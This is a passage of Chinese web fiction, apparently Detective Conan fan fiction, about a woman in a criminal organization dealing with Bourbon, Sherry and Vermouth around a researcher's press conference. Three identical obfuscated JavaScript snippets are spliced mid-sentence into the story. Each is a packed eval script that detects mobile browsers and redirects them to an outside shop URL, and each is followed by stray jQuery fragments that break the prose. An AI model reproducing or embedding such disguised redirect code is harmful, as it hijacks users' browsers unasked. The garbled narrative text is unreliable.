绝对是故意的吧? 坏狐狸。 之前那一阵和她出去吃饭的时候,波本在不停地换衣服,果然是在猜测她的口味。不过看到这样的一幕,她确实心情变得好了些。 “在做饭?”白羽响想起了这家伙之前的厨艺,不由揶揄他,“猫饭还是酸的荷包蛋?” 实际上走进门两步后,浓郁的焦糖与奶香的气味就占了上风,她实在没想到波本竟然烤了奶油蛋糕。 冷冰冰的安全屋突然变得暖融融的,温馨又惬意。 “真过分呐,一直拿以前的事情说事。”波本毫不生气,朝着厨房走去,戴上厚厚的手套,从烤箱中拿出烤盘,“其他的准备都好了,只有这个还烫着,放凉些再吃吧。” 他端着烤盘走到落地窗前时,白羽响才发现餐桌上的东西很丰富。 桌上放着两杯酒,中间还有些做得不错的菜色。一盘是香煎鸡胸,表皮煎得金黄微焦,边缘还卧着半颗流心蛋,旁边码着切得整齐的芦笋和小番茄;另一盘是蔬菜沙拉,生菜叶上淋着琥珀色的油醋汁,撒了点碎坚果;还有一个冒着热气的小锅,掀开盖子就是浓郁的奶油蘑菇汤香,蘑菇丁和火腿碎沉在汤底,看起来味道很不错。 “怎么样?” 波本说这句话的时候,几乎是凑在她的耳边。 白羽响眼皮猛地一跳,不自觉地拉开了一点距离。 单纯的收拾屋子或是烤蛋糕可能还是一时兴起,但面前出现了这桌菜和那两杯调好的鸡尾酒,就绝对不是心血来潮这么简单了。 他多半另有目的。 “特别好。”她并没有坐下来,而是笑着回头说道,“但我无功不受禄。” “你是觉得我无利不起早吧?”波本说着轻哼了一声,搭在她的肩上按进了座椅之中,“让你失望了,菜是西餐店外送的,这些菜一盘都不是我做的。” 白羽响在心里松了口气。 不知道为什么,听到他这么说,反而还觉得安心些。 “但是酒是我调的。”波本也坐在了他的座位之中,十指交叉,看着眼前那杯橙红色的鸡尾酒,微笑着说道,“‘盘尼西林’。柠檬汁、蜂蜜,加上……你喜欢的苏格兰威士忌。度数不高,比较怡情。” “她喜欢的”苏格兰?这种暧昧的一语双关,不知道他又在玩什么把戏。 白羽响抬眼看了他一眼,不解风情地说道:“抱歉,我对这个名字的了解仅限于一种感冒药。” 她举起酒杯抿了一口,柠檬的酸混着蜂蜜的甜,裹着威士忌的醇厚滑过喉咙。 口感着实不错。 她将酒杯搁置在一旁:“我的心情很好,不如直接谈正事吧?” 倒也不是她不享受波本这些花里胡哨的招待,只是她的心里有许多的问题,等待着波本来解答一二。 “你先我先?”波本用叉子轻轻地触碰着盘子里的鸡胸肉。 “当然是我。”白羽响想了想,继续追问道,“那个叫黑川郁夫的研究员,是出于什么原因会被组织追杀呢?我看到这个发布会是由富泽财团来办的。作为财阀来说,富泽家确实实力雄厚,但大多数的资产都放在了房地产上。有必要和组织作对吗?” 波本细嚼慢咽地吃着东西,过了好一会儿才回答了白羽响的话。 “那个人的话,以前是组织合作过的一个研究员。”他顿了顿,继续说道,“不过那已经是很久以前的事情了,大概是十几年前?他研究的方向是细胞修复技术,据说曾经做过某个组织中天才少女的老师。” 白羽响有些惊讶。 天才少女……应该是指雪莉吧? 她曾经听爱尔兰提起过,组织在过去的十几年中曾经有一段时间喜欢去拉拢科学家。不过很快,他们就发现,即使对这些科学家们威逼利诱,也不可避免地会面临背叛、逃匿。因此到后期,他们开始寻求一种比较稳定的方式——比如说靠组织自己来培养一个科学家。 雪莉就是在这样的情况下诞生的。 她也的确争气,对得起组织的培养。 原来她和黑川郁夫是师生关系。这应该也是她出现在会场中的原因,这么说她的出现或许与这些人都没有关系。她是为了师生关系而出现在那里的。 白羽响试探着问道:“是为了实验?还是药物?” 组织在研究永葆青春的药,这并不是秘密。那位一直不曾老去的贝尔摩德,曾经是导致一些人对组织趋之若鹜的活招牌。 人人都向往长生,可白羽响在组织待了这么久,亲眼见过贝尔摩德对那种药的恨,便再也生不出羡慕。 可科研组,那边向来BOSS直接掌控、由琴酒负责,除了雪莉这位未来的核心,她没怎么见过其他人。 “嗯。黑川之前创设的公司就叫作‘朱雀科技’。野心最大的时候,他甚至敢开口问组织要一整个园区来做深度研究。不过这件事因为种种原因没成,一是因为资金问题,二是组织中有人怀疑他是个口才很好的骗子。当时他提出的那个研究计划,名字就叫——” “‘普罗米修斯计划’。”白羽响接着他的话说道,“我明白了。因为没能从组织捞到想要的钱财,他就脱离组织单独发展,最后找到了投资房地产发家的富泽家做靠山。” “差不多就是这样。”波本笑了笑,“总之他骗了组织的钱,还卷了组织的研究数据跑路,被富泽财团收编了。这次发布会,目的是要公布‘逆转细胞衰老’的成果。不过嘛,鉴于他的一贯表现,我倾向于他其实是想借富泽家的势力彻底脱离组织,搞不好还有把组织的秘密卖给警方的想法。” “原来如此。”白羽响用叉子吃了一勺沙拉,“看起来他非死不可。” 这种行为简直就是在太岁头上动土,难怪组织会安排莱伊去进行暗杀行动。 只是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17047860|192927||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不知道,雪莉出现在那里,究竟是为了救人,还是单纯因为实验进行不下去,想来参考一下昔日老师的研究成果。 “是啊,杀一儆百。”波本说着,撇了撇嘴冷哼一声,“多么简单而适合立威的任务。” 他的言语满是对莱伊拿到这个任务的不忿和嫉妒,白羽响相信这是波本的真情流露。 早在他刚进入组织的时候,白羽响就体会过他的要强和自尊,只是那个时候的波本还会在响酒的面前装出温和有礼的假面,不像现在这样锋芒毕露。 “我看你的样子,好像恨不得把这个任务抢下来。”她笑了笑说道。 “我倒是想。”波本笑了笑,将他做的奶油蛋糕推到了白羽响的面前,“可惜我身在情报组,注定拿不到这个‘松软可口’的任务了。” 白羽响切了一块蛋糕放进嘴里,松软的海绵裹着淡奶油,边缘烤得微微焦黄,焦糖的甜混着奶香在舌尖化开,竟比外面甜品店的还要细腻。 她能想象到,上次被她取笑做猫饭后,他是怎么憋着一股劲,一遍遍尝试直到完美。或许他也失败过,但是当他把烤面包当成一道甜点端上餐桌的那一刻,他一定已将它的味道练到完美。 透过这张熟悉的脸,她能想起他的种种模样:好强的、恼怒的、幼稚的、狡黠的……每一张都让人印象深刻。她时刻提防着他的算计,却也不得不承认,他确实有让人佩服的本事。 也不知道被他视作眼中钉的莱伊,此刻又在做什么? 想到这个名字,白羽响的目光飘向了窗外的夜空。 天已经黑透,正是踩点的好时候。 莱伊大概会穿着他那件黑夹克,戴着口罩,借着夜色穿梭在杯户饭店附近的街巷,确认好狙.击点位就迅速撤离。他从无败绩,只要出手,就绝不会失手。 “在想什么?”波本问她。 白羽响回过神来,发现波本已经端着酒杯,站在她的身侧,一同看着窗外的夜色了。 “在想一个人。”白羽响啧了一声,“一个……很惹眼的人。” “惹眼?”波本有些意外于她的用词,挑了挑眉。 白羽响想了想:“和你不一样的惹眼。” 波本像颗闪闪发光的星,但是莱伊……他像是一阵野风,寒冷刺骨又带着灼烧的疼痛。单是想念起那个人的点点滴滴,她都会感觉到自己的心在不自觉地震颤着。 晚餐结束后,波本收拾了碗碟,两人坐在沙发上敲定行动细节。 白羽响隐瞒了遇到雪莉和伏特加的插曲,也没打听行动人员名单,一副对他的构陷计划言听计从的模样。 夜渐渐深了,她起身提出要回自己的安全屋休息,为明天的行动做准备。 “我以为你会多留一会儿。”波本有些意外。 “不了。”她笑了笑。 “陪我不好吗?”波本有些不死心地再问了一遍。 她后退两步,拉开距离。波本离她很近,暖灯落在他的睫毛上,投下浅浅的阴影。 白羽响抬起手,指尖虚空地碰了碰他的眉角,像触碰一件易碎的珍宝,随即迅速收回。 “陪你很好,但我要回去了。”她很快露出了一个笑容,“不过你放心,明天的事……我会尽力的。” 波本的眼睛动了动,拉远了与她的距离。他收敛了刚才的试探,重新扬起温和开朗的笑,只是那笑意没达眼底。 “那么,祝你好运。” 走出波本的安全屋,甜腻的蛋糕香味从鼻间骤然消失,她才感觉到夜深露重。 明早的任务很不轻松,让她迫不及待想回去养精蓄锐。但一想到她即将要与莱伊会面,内心又仿佛生出了诸多波澜,无论怎么也平静不下来。 27.“人才济济”的会场 第二天是个大晴天。 白羽响是在清早的时候就离开了安全屋,到达了会场。 昨天苏格兰给她发了一条正常问候是否安全的消息,她尚未回复。 思考片刻,她回复道: ——我今天有行动,希望顺利。 关于其他的,她闭口不谈,不希望对方徒增烦恼。 从更衣室出来,她香槟色的吊带礼服的裙摆微微打在脚踝上,清凉的礼服将她的肩颈线衬托得很完美。 但她并不觉得自得。 这件礼服剪裁贴合,却让她束手束脚,尤其是脚底下那双该死的鞋,简直和刑具没什么差别。 她趁着空档检查了一下,昨天藏在化妆间天花板隔层的耳机和微型爆.破装置已安置妥当。 她给波本发了一条行动报备的消息,然后把手机搁在一边。 杯户饭店的宴会厅比昨日喧闹百倍。 目前最热闹的地方就是媒体区。密密麻麻的设备中人头攒动,摄像机的红灯闪烁不停,三脚架撞在一起发出沉闷的声响,记者们的交谈声、设备调试的滋滋声交织成一片嘈杂。 她的目光扫过那片喧闹的区域,一道格格不入的身影闯入视线。 那人一身旧绿色风衣裹着瘦削的身躯,头发乱糟糟地竖着,手里捏着个照相机,在一众专业摄像机中显得格外突兀。 这个人她认识。 是楠田陆道。 白羽响的指尖微微收紧,楠田和她的死有千丝万缕的关系,他是那个报信者。 她借着给旁边摄影师指路的名义,脚步放缓,擦着他身边走过时,飞快瞥了眼他胸前的记者牌。 “医疗前沿记者田边”。 他果然是借了个冷门医疗报纸的假身份混进来的。 楠田陆道站在前排,低头调试相机,完全没注意到擦肩而过的她,可白羽响却敏锐地察觉到,他的相机镜头正对着展示台的方向。 她能确定,这人是受到组织的指派来的这里。看起来今天的行动中要与不止一个熟人打交道。 不动声色地收回目光后,她转身走向化妆间。 刚在镜前的椅子坐下,身后就传来一声低低的轻笑,带着冷调的栀子花香水味。一只手伸过来,指尖带着微凉的触感,轻轻将她散落的长发拢到脑后。 “好久不见,小响。” “响”字的发音响起的一瞬间,白羽响抬起了头,镜子里映出化妆师玲奈的脸,她心头一跳。 “玲奈小姐?”白羽响迅速收敛神色,装出惊喜又意外的模样,“你怎么会在这里?” 伪装成玲奈的贝尔摩德笑而不语,端着她的脸庞,用粉扑轻轻扫过她的脸颊。她的动作轻柔又认真,处处体现着专业。 这场发布会简直是组织各方势力的角斗场。 贝尔摩德也卷入其中了。 黑川郁夫,这个早就脱离组织的研究员举办的发布会,竟然能将组织的水搅得这么混。 伏特加、雪莉、贝尔摩德…… 波本这个混蛋,怎么不提醒她这里的水这么深,当着这么多组织人员的面算计莱伊,是嫌她活得长吗? “脸一直板着,会失去亲和力的,这可是绝佳的亮相场合。”贝尔摩德轻轻地抬起白羽响的下颚,“一旦失误,心里的秘密就守不住了。” 镜中的她看起来明艳动人,只是此时此刻,她心事重重的,实在无心应对贝尔摩德的搭话。 “谢谢提醒。”白羽响露出个公式化的微笑,“我会好好准备的。” 和情报组的人呆久了,好像她也学会了些见人说人话见鬼说鬼话的本事。 此时此刻,也不知道波本在做些什么。 “现在的时间不够,我们过会儿补妆。”贝尔摩德放下化妆刷,低下头贴着白羽响的耳畔说道,“去候场吧,别让大人物们等急了。” 白羽响松了口气,起身时,她瞥见贝尔摩德眼底一闪而过的玩味。 这女人正在注意着自己的一举一动吗? 但愿贝尔摩德那种看好戏一样的神情和波本的计划没有关系。 走出化妆间,走廊里已经挤满了工作人员和嘉宾,脚步声、交谈声此起彼伏。她加快脚步往候场区走,刚转过拐角,一道白大褂的身影从身边匆匆掠过。 白羽响的脚步顿住,心脏漏跳了一拍。 身影纤细,戴着口罩,她猛然回头,确认了她黑色长发的伪装之下的那一抹栗色。 是雪莉。 昨天明明警告过她这里危险,她怎么还是来了? 几乎是本能地,她快步追上去,在走廊尽头的空房间门口拉住了雪莉的手腕。 白羽响一把将她拽进房间,反手关上门,压低声音质问:“你怎么还没走?” 雪莉用力挣开她的手,眼底满是警惕和不耐烦:“这和你无关。” 白羽响被她说得有些怔愣。 这些事情确实和她没有关系。 算起来,她在响酒时期与雪莉也不过只有几面之缘,相处时间最久的一次,是她受组织的命令去给远在美国读书的雪莉充当“家长”。 雪莉的天赋是她的幸运也是不幸。 她一直安安稳稳地读书,被组织保护得很好,但同时她也几乎没有战斗力,真的遇上了危险,她未必能安全逃脱。 看着雪莉倔强又执拗的眼神,白羽响暗暗叹了口气,她或许只是有些放心不下。 年仅15岁的雪莉,失去了父母,离开了姐姐,和当时在训练营中独自一人摸爬滚打的自己又有什么区别? “你要做什么?”白羽响压低声音,尽量让自己语气平和地问道,“我并不是要管闲事,但是如果你的目标也是黑川郁夫,这会给我添麻烦的。” 雪莉顺着她的话平静了下来,她深呼吸,调整了自己的气息。 她想起了白羽响昨天在伏特加面前对她的袒护,决定告诉她实情。 “我确实找黑川郁夫有事。”她轻声说道。 白羽响皱了皱眉。 昨夜波本告诉她,黑川郁夫是雪莉的老师。事情到了如今这个地步,要救他恐怕很难。尽管她与波本的计划保护此人一时,但既然已经成为了组织的目标,无论如何都不会有好下场。 于是她决定直截了当地斩断雪莉天真的想法。 “我劝你不要去了。你救不了他。” “我不是要救他,我要拿回父母留给我的东西。”她的声音发颤,语气却很坚定,“黑川郁夫逃离组织时,偷走了我父母留下的实验数据,现在还想以自己的名义发表。” 原来她是为了夺回父母的遗物。 白羽响微微吃惊。 这与她一开始的设想完全不同,不过这种状态反而更好将雪莉劝离了。 “那你更应该走了。黑川郁夫活不了。”白羽响的声音软了下来,“组织已经派人来杀他。他一死,这份数据自然也就发表不了。” “我知道。”雪莉抿了抿唇,“但是我不希望它落到哪个财阀的手中,或是被组织的其他人拿走。我不能让我父母的心血,变成别人往上爬的工具。” 白羽响看着她的双眼,内心天人交战。 她能理解雪莉的执念,这就好像她憎恨莱伊踩着她的尸体 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17054492|192927||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得到组织的嘉奖,何况拿回父母的东西本来就是天经地义的事情。 她真的要插手管这件事吗? 脑中闪回了一个月前那个火光冲天的晚上,她因为放心不下莱伊,最后落得粉身碎骨的下场,还被人冤成叛徒;可她也做不到对这这件事袖手旁观,按照波本的计划,她原本就要去找黑川郁夫谈事,帮雪莉不过是顺手的事。 沉默了许久,白羽响松开了她的手:“我明白了,这件事交给我吧。” 雪莉猛地抬头,脸上都是错愕。 她看着白羽响,一时竟然不知道要说些什么。 “我会尽力帮你把你父母的东西要回。如果做不到,我也会将它们销毁。”白羽响顿了顿,继续说道,“这里有不少组织的人,他们目的不一,最好不要随便卷进去。” “你要怎么做?”雪莉有些惊讶地问道,“我昨天已经尝试过了,那个人的休息室周围都靠近不了,他们的看守非常严密。” 白羽响微微笑了笑:“自然是直接从他的手上拿。” 原本的计划中,她就要去见一面黑川郁夫,现在只是在等待波本的另一个交易方主动来牵线。 雪莉怔怔地看着她,似乎不敢相信自己的耳朵。 在组织里,互帮互助是最天真可笑的想法,那些试图左右逢源的老好人,最后都死得很惨。 她不明白,这个人为什么愿意伸出援手。 “为什么要帮我?”雪莉轻声问,“这对你不一定有好处。” “没有为什么。”白羽响笑了笑,眼底带着一丝释然,“物归原主,这个结局很不错,至少我很喜欢。” 雪莉看着她的笑容,内心的犹豫渐渐消失。她的目光下移,落在白羽响胸前的铭牌上,反复地看着“白羽响”三个字,这个名字背后的故事,或许可以让她还上这个人情。 想到这里,雪莉再次抬头,看着眼前温柔又强大的女人。她愿意赌这一回,向这个人交付信任。 她转身走向门口,手搭在门把上时,突然想起了什么,回头说了一句:“我有些重要的事情要和你说,我会再联系你的。” 白羽响看着她的背影消失在走廊尽头,深吸一口气,拿出了礼服内侧的耳机,拨通了波本的电话。 “怎么了?不顺利吗?” 波本的声音带着电流声,背景里似乎有车辆行驶的噪音。 “给我送一把枪过来。”白羽响压低声音说道,“三十分钟内,不管用什么方法。” “枪?”波本的声音瞬间警惕起来,“你要做什么?不要节外生枝!” 白羽响咬了咬下唇。 波本这个警觉的家伙,一瞬间就感受到了她的企图。可惜她不打算做他乖巧的马前卒,更不打算让他置身事外,坐收渔翁之利。 “波本!”白羽响提高了一点音量,“我不是在跟你商量!我知道你要对付的人不简单。从昨天到今天,我在这里见到了三四个组织里有头有脸的人物。我没你那么‘能干’,更不想死得莫名其妙,如果你还想顺利地拿到那个人反叛的证据,就按照我说的做!” 她强势的口吻让波本短暂沉默了几秒钟。 过了一会儿之后,他无奈地笑了笑,松了口:“好吧,你可真会给我制造惊喜。勃朗宁是吧?我尽力。” “谢谢。”白羽响的口吻软了些,“不是也行,我不挑。” “等着,马上就到你的手上。” 挂断电话,白羽响靠在墙上,松了口气。 真是意外啊,波本竟然是吃这一套的类型。 看来与他相处,有的时候需要一些必要的强硬。 28.出卖与新的交易 挂断了与波本的电话,白羽响再一次朝着会场走去。 走廊的喇叭中正在同步播放着富泽财阀负责人的开场白,白羽响整理了一下礼服裙摆,推开房门,快步走到候场区,跟在一堆模特们的身后。 按照流程,十分钟后,她得参与朱雀科技公司新兴科技的产品介绍工作。负责的内容很简单,就是充当漂亮的花瓶拿着东西,配合主持人滔滔不绝的介绍而已。 在这之后,她需要前往前台的失物招领处领取“安室先生在会场丢失的U盘”,并用组织的谈判者的身份,与黑川郁夫进行会面。 不知道波本打算把枪在哪个环节传递给她。但那家伙最擅长随机应变,这种小事怎会难倒他? 她正盘算着,一只手的指尖搭在了她的肩窝上。 白羽响猛然回头,玲奈的脸映入眼帘。 她不由心头一跳,脸上却不露分毫怯意:“玲奈小姐?” 贝尔摩德在组织中的地位超然,从前她想要见人几乎都是一句吩咐的事。 两辈子加起来,这也是她第一次被贝尔摩德找上门呢。 真是受宠若惊。 玲奈的唇角边挂着笑意,她轻轻地端着白羽响的下巴,仿佛在看一件艺术品,过了几秒之后,开口说道:“我来帮你补个妆吧。” 白羽响不太给面子地拒绝了她:“抱歉玲奈小姐,过会儿我要上台展示朱雀科技的早期研究成果,走不开。” 说着,她的目光扫过不远处正在调试设备的工作人员。 再过五分钟,她就要配合主办方完成第一轮展示,这不是波本计划里要与黑川郁夫见面的关键环节,但越是这样作为伪装的工作,越要完成得到位,这样事成之后才不会被人怀疑。 “呵呵……”贝尔摩德的笑意宛若一池春水,“你的模特工作比上一次见面的时候专业多了。” “谢谢夸奖。”白羽响扯出笑意点了点头,这完全没什么值得称赞的吧。 “不过,从这里去前台,走的路太远了。”贝尔摩德微微挑了挑眉,轻轻地抚过白羽响的侧脸,“比起无趣又安全的交接,不如直接把中间人踢掉来得更加刺激,你说……对吗?” 白羽响顿时瞳孔一缩。 难道说,是她?波本的另一个交易对象。 “这份工作,花瓶而已,无数人可以替代。”这个神秘的女人嘴角噙笑,“但波本的礼物,万里挑一,价值千金。” 白羽响用余光看着贝尔摩德修长的手指,轻轻点了点头。 她没有任何不和贝尔摩德走的理由。 走廊里的嘉宾和工作人员络绎不绝,没人注意到她们的异常。进了化妆间,贝尔摩德反手锁上门,从化妆箱里掏出一把小巧的勃朗宁1906,枪身泛着哑光,递给了她。 “你要的。”贝尔摩德一边说着,一边亲手给那把枪装上了消.音.器。 “袖珍而经典。”白羽响淡然地拿起那把勃朗宁1906,查看了弹匣,“谢谢。” 枪身传来冰冷的触感,她的心脏却像被重锤砸中,掀起惊涛骇浪。 她几乎快忘了,组织中还有一位和她一样钟爱勃朗宁的人物,那就是贝尔摩德。这把勃朗宁1906并不是贝尔摩德唯一的佩枪,但绝对称得上是她的爱枪。 波本给她找来枪的手段,是联系贝尔摩德? 白羽响一边疑惑,一边在心里冷笑一声。 故意的,绝对是。波本才不会做事那样粗枝大叶,他定然是在衡量了什么之后,选择了率先和贝尔摩德坦白了自己是这个计划中的一枚棋子。 不过,贝尔摩德清楚波本的计划是要对付莱伊吗? 她开始考虑,是否要让波本尝尝信息差不对等的滋味…… 还是算了。 搞不好,算计莱伊这件事会触怒组织,让波本丢了他的小命的。 “那个U盘,也在玲奈小姐的手里吗?”白羽响问起了另外的东西。 贝尔摩德没有立刻回答她的话,而是坐在一旁,持续地打量着她。 “你变了。比八个月前第一次见面的时候成熟老练了许多。”贝尔摩德的目光中有一种说不清道不明的情绪,“那个时候我就觉得你与众不同,果然我没看错人。” 八个月前?白羽响微微吃惊。 那个时候,原主还在。贝尔摩德是原主的熟人? “是吗……”白羽响尽力维持着自己的表情,“谢谢。” “最近还去赌场了吗?”她唠家常一般地继续问道。 白羽响的心里警铃大作。 这是套话,必然的。 她查过原主的邮箱和手机。原主频繁参加赌钱的时间大概也就是八个月前,年初左右开始的。 贝尔摩德和她频繁出入赌场有关系? 这才是她加入组织的契机? “最近没有了。”白羽响扯出了一丝笑意,尽可能态度含糊地回答道,“有点忙。” “嗯。”贝尔摩德点了点头,“埋的线收网了,确实不需要常去了。” 白羽响心下暗惊。这么说,原主并非出于自己的意愿去赌场? 贝尔摩德对这事知情,所以其实原主一直在为这个女人效力? 难怪之前波本问她,窃取那份物证是否是贝尔摩德的授意。那并不是对她起疑,而是一边好奇她的身份,一边还得顾忌着贝尔摩德的意愿。 她一时有些僵住,不知道该说些什么了。多说多错,此时此刻最好的就是闭嘴。 贝尔摩德盯着她的眼睛看了几秒,转身从衣柜里拿出一套寻常的行动衣。 “换了吧,礼服行动太碍事了。”贝尔摩德将一个加密 U 盘塞进白羽响手里,“这是组织早年资助黑川的转账记录。现在,你要以组织的谈判人员的身份去见他,就说组织愿意给比富泽集团更雄厚的支持,条件是他能奉上‘普罗米修斯计划’的最新数据。” 来了,这就是跟波本商议过的谈判内容。 白羽响松了口气。如果贝尔摩德执意要在这里对她“查户口”,她多半会露出马脚。 “如果他拒绝呢?”白羽响接过了她手中的U盘问道。 “那样的话……”贝尔摩德的喉间发出一丝轻笑,“他自然只能向组织奉上更大的代价了。” 比如,性命。 看来她猜对了,谈判不是重点,但组织想知道这人是否有真本领,也愿意听一听开出的价钱。 白羽响将枪插进腰间的枪套,U盘揣进口袋。 波本对构陷莱伊有恃无恐,是因为这不是他的私人计划,而是组织的另一条线任务:先让人出面谈判,如果黑川愿意合作,莱伊的暗杀任务可能会终止;如果他拒绝,再让莱伊动手。 合作或是丧命,但凡有点脑子的人都会选择合作。 可是波本的行动逻辑背后,是认定了黑川郁夫不会选择和组织合作。从这件事中,白羽响甚至能体会到属于波本的那种自负的意味。 这个任务,或许另有隐情。 不然,波本根本不需要从莱伊的手中保下黑川郁夫的性命。 “时间差不多了,按照之前预约好的,黑川会在贵宾会客厅等你。”贝尔摩德打开门,倚在门边看着她,“祝你好运,小响。” 与波本如出一辙的告别词。 目光停留在贝尔摩德的眼睛上。 她透过黑色的美瞳,看着贝尔摩德那双猫眼石一般的眼睛,既迷人又危险,带着致命的妩媚与诱惑。 所谓的谈判多半只是个幌子。 在她行动的背后,组织一定有所企图,只是在此时此刻,自己还看不透。 白羽响深吸一口气,走出化妆间。走廊里的喧闹声已经停歇,场内主持人已经在介绍富泽财团的财力和朱雀科技的前瞻,光是众人的名字都念了足足三分钟之久,在她推开贵宾会客厅的门走进去的一瞬间,世界才安静了些。 黑川郁夫坐在沙发上,身边站着两个身材魁梧的雇佣兵,眼神警惕地盯着她。 两个人互相打量了几秒钟后,白羽响自顾自坐了下来。身后的两个雇佣兵肌肉紧张,随时准备对她动手。 “他们派了一个女人来?”黑川郁夫皱着眉看她,“你的代号是什么?” 白羽响抬了抬眉:“我还没有代号。” 黑川郁夫显然有些不满,唇角倒挂着,眼神渐渐变得阴鸷。似乎组织没有派大人物来处理他,他还不满意。 找死。 白羽响在心中嗤笑他的行为。 “你应该庆幸来的人是我。”白羽响微微笑道,“能拿代号的可没有省油的灯,就算你用两把步.枪盯着他们的脑袋,也未必能达成自己的目的。” “好吧。”黑川郁夫微微调整了自己的脸色,“我们长话短说。我和组织从来都是各取所需。组织是给过我资助,但是这点资助对于研究来说是杯水车薪,没必要互相为难。” “好,那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17066437|192927||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就敞开天窗说亮话。BOSS知道你要公布‘普罗米修斯计划’,没有震怒,反而觉得你的研究有了新价值。”她将U盘放在桌上,“这是组织早年的资助记录,算是组织的诚意。这笔钱来路和去向都不明不白,如果流到警方的手里,恐怕后患无穷。组织为你提供比富泽集团更雄厚的资金,更安全的研究环境,条件是交出你手上现在的研究数据。” 黑川的目光落在U盘上,皱着眉头。 “当然,如果你拒绝。”白羽响的语气冷了下来,“不止这些交易会被公之于众,你的小命恐怕也难保下……” 这句话还没说完,两名雇佣兵手中的枪口瞬间对准着她。 白羽响看了一眼黑漆漆的枪洞,一声不吭,再次将目光转向黑川郁夫,神色如常地继续说完:“怎么选,你应该有数吧?” 她看得出来,黑川郁夫在犹豫。 没有人会和利益、性命过不去,何况这个人知道组织做事的风格。 她做了很多的设想,他可能会试图讨价还价,甚至会假意答应,在背后做手脚……可没有想到的是,黑川郁夫仅仅在沉默了一分钟不到的时间之后,就给出了答案。 “我拒绝。”他说道,“我和组织的合作已经结束了。” 白羽响在心中诧异。 这还真的被波本料准了? 在她看来,黑川郁夫的行为十分异常。 他的新靠山富泽家只是一个普通的大财阀,说到底只是首富铃木家的姻亲。有钱是有钱,但根本没有黑白两道通吃的资本。 黑川郁夫的底气从何而来呢? “不如这样吧。我们达成协议,过去的钱和事都保密,不惊动警方。”黑川郁夫说道,“我只是想要名利,组织成全我,我自然也会投桃报李。” “连吃带拿,你的吃相很难看啊。”白羽响挑了挑眉,“还是说,你并非不想,而是根本拿不出来呢?” 黑川郁夫脸色大变,他猛地站了起来,眼睛露着凶狠的光。 白羽响一笑,心中了然。 事出反常必有妖。也得亏她多管闲事一样地插手了雪莉的事情,才得以猜测出背后的秘密。 雪莉说得没错。 黑川根本没有什么最新的数据,他只是个卷走他人研究成果的窃贼。 实验数据都是十几年前的旧货,他的手上也没有底牌,因此无论如何与组织谈判,都是徒然。他甚至连装一装都没有资本。 就在这个关头,门外突然传来一阵急促的脚步声,一个雇佣兵冲了进来,脸色慌张:“先生!不好了!有外人闯入了密室,用枪破坏了电脑主机!” 白羽响的眼睛瞥过黑川郁夫一瞬间紧张起来的神色,瞬间想明白了什么,露出了一丝无奈的笑意。 不是吧?专挑她谈判的时间动手。 她这就被浓眉大眼的波本给卖了? 贝尔摩德和波本,这两个人处心积虑,只是想让她在这里拖住黑川和他的保镖,以创造潜入的机会。事情成了也不考虑如何安稳地收手,反而这样大张旗鼓。 真是要命啊…… “什么?!怎么会这样?”黑川脸色瞬间惨白,“暗室不是要面容ID才能打开吗?” 真是听不下去了。 这个蠢货,在组织里待过,竟然不知道组织里有贝尔摩德这种易容高手。 “你已经没有价值了。”白羽响嘲讽地看着黑川郁夫那张慌张的脸,“可以说是死到临头了。” 虽然她也好不到哪里去就是了。 这种声东击西的把戏,无异于将她架在火上烤。黑川郁夫抓不到贝尔摩德,必定拿她开刀。 “是你!是你们干的!”黑川郁夫猛地看向白羽响,眼神凶狠,“把她抓起来!我要让她付出代价!” 事到如今,求人不如求己。 白羽响眼底寒光一闪,不再犹豫。 她侧身避开第一个雇佣兵的手,同时抽出腰间的勃朗宁,朝着那个雇佣兵的手开了一枪,随后用枪口对准了黑川的额头,把他挟持为了人质。 在那个雇佣兵痛苦的嚎叫和鲜血中,她慢慢展露出一丝笑颜。 波本的计划很好,详实、细致、有趣。 如果她不是置身其中,多半也要夸赞一句他的聪明狡诈。 不过—— “黑川先生,组织的交易不作数了。”白羽响微微笑了笑,“不如来谈谈我们的交易吧——只有我,和你的。” 29.两个难搞的女人 形势一下逆转了。 黑川的太阳穴被白羽响手中的枪顶着,身体僵得像块石头。他脸上的金边眼镜滑到鼻尖,不敢贸然去扶。 他只要稍微一动,一颗子弹就会贯穿他的头颅。 白羽响瞥了一眼站在身后的一名雇佣兵,对方正举着枪对着她。双方僵持着,没一个敢轻举妄动。 刚刚的动静吸引了几个其他的雇佣兵,跑步来了以后都围在门口。 白羽响皱了皱眉,用枪顶了顶黑川的脑袋:“让他们走。” 不过,显然黑川不太情愿。 对待不配合的人,自然不需要有什么好脸色。白羽响冷笑一声,故意朝地上放了空枪,滚烫的枪口贴上了黑川后颈的皮肉,瞬间焦糊味伴随着他的尖叫声一同冒了出来。 